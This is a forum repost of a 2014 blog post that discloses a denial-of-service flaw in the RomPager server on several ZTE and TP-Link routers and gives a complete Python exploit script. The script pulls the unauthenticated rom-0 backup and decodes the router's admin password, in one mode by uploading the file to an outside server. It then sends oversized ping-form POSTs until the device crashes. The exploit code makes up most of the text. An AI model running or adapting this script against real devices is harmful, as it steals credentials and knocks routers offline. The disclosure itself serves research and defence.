thehat Posted June 10, 2014 Report Posted June 10, 2014 ZTE and TP-Link RomPager DoSIntroductionI think by now you know the security issues disclosed related to TP-Link routers. I’ve noticed that some ZTE and TP-Link routers have the same firmware which is “FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0”. I was curious to test the web application and I found out that the embedded server which is “RomPager” cannot handle fairly large POST requests.Tested Routers: ZTE ZXV10 W300 TP-Link TD-W8901G TP-Link TD-W8101G TP-Link TD-8840G TP-Link TD-8817Vulnerability InformationThe /Forms/tools_test_1 page uses a POST request to send the IP address to ping. We can take advantage of this page for our exploit. You may find other places as well, but this place is quite good for developing an exploit.But instead of the actual IP address if we send a large buffer the server crashes and the router restarts.Of course we can do this remotely but still the router uses HTTP Basic authentication to access it’s resources. It means we need to know the router’s password rather than the default password ‘admin’.How can we achieve this? It’s simple as you all know that there is a rom-0 router backup file disclosure without any authentication we can decrypt the password and send our malicious POST requests and crash the router.POST /Forms/tools_test_1 HTTP/1.1Host: 192.168.1.1User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1/maintenance/tools_test.htmAuthorization: Basic YWRtaW46bG9sConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 93Proof of ConceptI’ve developed an automated exploit for this. The usage is./dos.py -i [internal or external IP]#!/usr/bin/env python# -*- coding: utf-8 -*- # Exploit Title: ZTE and TP-Link RomPager DoS Exploit# Date: 10-05-2014# Server Version: RomPager/4.07 UPnP/1.0# Tested Routers: ZTE ZXV10 W300# TP-Link TD-W8901G# TP-Link TD-W8101G# TP-Link TD-8840G# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0# Tested on: Kali Linux x86## Notes: Please note this exploit may contain errors, and# is provided "as it is". There is no guarantee# that it will work on your target router(s), as# the code may have to be adapted. # This is to avoid script kiddie abuse as well.## Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.# Author takes no responsibility for any kind of damage you cause.## Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)# Dedicate to Nick Knight and Hood3dRob1n# # ./dos.py -i 192.168.1.1import osimport reimport sysimport timeimport urllibimport base64import httplibimport urllib2import requestsimport optparseimport telnetlibimport subprocessimport collectionsimport unicodedataclass BitReader: def __init__(self, bytes): self._bits = collections.deque() for byte in bytes: byte = ord(byte) for n in xrange(8): self._bits.append(bool((byte >> (7-n)) & 1)) def getBit(self): return self._bits.popleft() def getBits(self, num): res = 0 for i in xrange(num): res += self.getBit() << num-1-i return res def getByte(self): return self.getBits(8) def __len__(self): return len(self._bits)class RingList: def __init__(self, length): self.__data__ = collections.deque() self.__full__ = False self.__max__ = length def append(self, x): if self.__full__: self.__data__.popleft() self.__data__.append(x) if self.size() == self.__max__: self.__full__ = True def get(self): return self.__data__ def size(self): return len(self.__data__) def maxsize(self): return self.__max__ def __getitem__(self, n): if n >= self.size(): return None return self.__data__[n]def filter_non_printable(str): return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])def banner(): return ''' _/_/_/ _/_/_/ _/ _/ _/_/ _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/ _/_/_/ _/_/ _/_/_/ ''' def dos(host, password): while (1): url = 'http://' +host+ '/Forms/tools_test_1' parameters = { 'Test_PVC' : 'PVC0', 'PingIPAddr' : '\101'*2000, 'pingflag' : '1', 'trace_open_flag' : '0', 'InfoDisplay' : '+-+Info+-%0D%0A' } params = urllib.urlencode(parameters) req = urllib2.Request(url, params) base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '') req.add_header("Authorization", "Basic %s" %base64string) req.add_header("Content-type", "application/x-www-form-urlencoded") req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm") try: print '[~] Sending Payload' response = urllib2.urlopen(req, timeout=1) sys.exit(0) except: flag = checkHost(host) if flag == 0: print '[+] The host is still up and running' else: print '[~] Success! The host is down' sys.exit(0) breakdef checkHost(host): if sys.platform == 'win32': c = "ping -n 2 " + host else: c = "ping -c 2 " + host try: x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) time.sleep(1) return x except: passdef checkServer(host): connexion = httplib.HTTPConnection(host) connexion.request("GET", "/status.html") response = connexion.getresponse() server = response.getheader("server") connexion.close() time.sleep(2) if server == 'RomPager/4.07 UPnP/1.0': return 0 else: return 1def checkPassword(host): print '[+] Checking for default password' defaultpass = 'admin' tn = telnetlib.Telnet(host, 23, 4) tn.read_until("Password: ") tn.write(defaultpass + '\n') time.sleep(2) banner = tn.read_eager() banner = regex(len(defaultpass)*r'.'+'\w+' , banner) tn.write("exit\n") tn.close() time.sleep(4) if banner == 'Copyright': print '[+] Default password is being used' dos(host, defaultpass) else: print '[!] Default Password is not being used' while True: msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower() try: if msg[0] == 'y': password = decodePasswordLocal(host) print '[*] Router password is: ' +password dos(host, password) break if msg[0] == 'n': password = decodePasswordRemote(host) print '[*] Router password is: ' +password dos(host, password) break else: print '[!] Enter a valid choice' except Exception, e: print e continuedef decodePasswordRemote(host): fname = 'rom-0' if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve ("http://"+host+"/rom-0", fname) # If this URL goes down you might have to find one and change this function. # You can also use the local decoder. It might have few errors in getting output. url = 'http://198.61.167.113/zynos/decoded.php' # Target URL files = {'uploadedfile': open('rom-0', 'rb') } # The rom-0 file we wanna upload data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'} # Additional Parameters we need to include headers = { 'User-agent' : 'Python Demo Agent v1' } # Any additional Headers you want to send or include res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False ) res1 =res.content p = re.search('rows=10>(.*)', res1) if p: passwd = found = p.group(1) else: password = 'NotFound' return passwddef decodePasswordLocal(host): # Sometimes this might output a wrong password while finding the exact string. # print the result as mentioned below and manually find out fname = 'rom-0' if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve ("http://"+host+"/rom-0", fname) fpos=8568 fend=8788 fhandle=file('rom-0') fhandle.seek(fpos) chunk="*" amount=221 while fpos < fend: if fend-fpos < amount: amount = amount data = fhandle.read(amount) fpos += len(data) reader = BitReader(data) result = '' window = RingList(2048) while True: bit = reader.getBit() if not bit: char = reader.getByte() result += chr(char) window.append(char) else: bit = reader.getBit() if bit: offset = reader.getBits(7) if offset == 0: break else: offset = reader.getBits(11) lenField = reader.getBits(2) if lenField < 3: lenght = lenField + 2 else: lenField <<= 2 lenField += reader.getBits(2) if lenField < 15: lenght = (lenField & 0x0f) + 5 else: lenCounter = 0 lenField = reader.getBits(4) while lenField == 15: lenField = reader.getBits(4) lenCounter += 1 lenght = 15*lenCounter + 8 + lenField for i in xrange(lenght): char = window[-offset] result += chr(char) window.append(char) result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore') # In case the password you see is wrong while filtering, manually print it from here and findout. #print result if 'TP-LINK' in result: result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK'; result = result.replace("TP-LINK", "") result = result[1:] if 'ZTE' in result: result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE'; result = result.replace("ZTE", "") result = result[1:] if 'tc160' in result: result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160'; result = result.replace("tc160", "") result = result[1:] return resultdef regex(path, text): match = re.search(path, text) if match: return match.group() else: return Nonedef main(): if sys.platform == 'win32': os.system('cls') else: os.system('clear') try: print banner() print '''[*] ZTE and TP-Link RomPager Denial of Service Exploit[*] Author: Osanda Malith Jayathissa[*] Follow @OsandaMalith[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.[!] Author takes no responsibility for any kind of damage you cause. ''' parser = optparse.OptionParser("usage: %prog -i <IP Address> ") parser.add_option('-i', dest='host', type='string', help='Specify the IP to attack') (options, args) = parser.parse_args() if options.host is None: parser.print_help() exit(-1) host = options.host x = checkHost(host) if x == 0: print '[+] The host is up and running' server = checkServer(host) if server == 0: checkPassword(host) else: print ('[!] Sorry the router is not running RomPager') else: print '[!] The host is not up and running' sys.exit(0) except KeyboardInterrupt: print '[!] Ctrl + C detected\n[!] Exiting' sys.exit(0) except EOFError: print '[!] Ctrl + D detected\n[!] Exiting' sys.exit(0)if __name__ == "__main__": main() #EOFPreventionTo prevent from this attack you can port forward port 80 to a unused IP of your networkSursa: ZTE and TP-Link RomPager DoS | Blog of Osanda Malith Quote